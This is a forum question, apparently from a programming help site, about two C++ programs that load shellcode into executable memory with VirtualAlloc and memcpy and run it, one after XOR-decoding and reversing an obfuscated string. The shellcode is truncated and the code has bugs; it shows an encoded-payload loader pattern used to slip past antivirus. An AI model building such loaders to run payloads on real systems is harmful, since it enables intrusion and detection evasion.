C++ Shellcode from char into virtualalloc & memcpy does not work

I am having a hard time figuring out why the payload isn't working after reversing in decoder2.cpp. When I "cout" the output of the "Reverse(input);" I get a valid shellcode and can be inserted into decoder1.cpp without any problems.

decoder1.cpp

Code:

int main()
{
  //char code[]  = "\xfc\xe8\x8f...";  // INSERT SHELLCODE HERE
    void *exec = VirtualAlloc(0, sizeof input, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, input, sizeof input);
    ((void(*)())exec)();
    return 0;
}

decoder2.cpp

Code:

void XORChiper(char orignalString[], int xorKey) {
   int len = strlen(orignalString);
   for (int i = 0; i < len; i++){
      orignalString = orignalString ^ xorKey;
   }
}

void Reverse(char name[])
{  
   int nameLength = strlen(name)-1;
   for(int currentChar=0; currentChar < nameLength; --nameLength, ++currentChar)
   {   char temp = name[currentChar];
       name[currentChar] = name[nameLength];
       name[nameLength] = temp;
   }
}


int main(void)
{
    char input[]   = "7>[7>[2c[aa[42[77...";
    int calc_len = sizeof(input);
    int key = 7;
    XORChiper(input,key);
    Reverse(input);
    void *exec = VirtualAlloc(0, sizeof input, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, input, sizeof input);
    ((void(*)())exec)();
   return 0;

}

Again the cout "Reverse(input);" shellcode in the decoder2.cpp is inserted in with decoder1.cpp and it runs flawlessly but not with decooder2.cpp.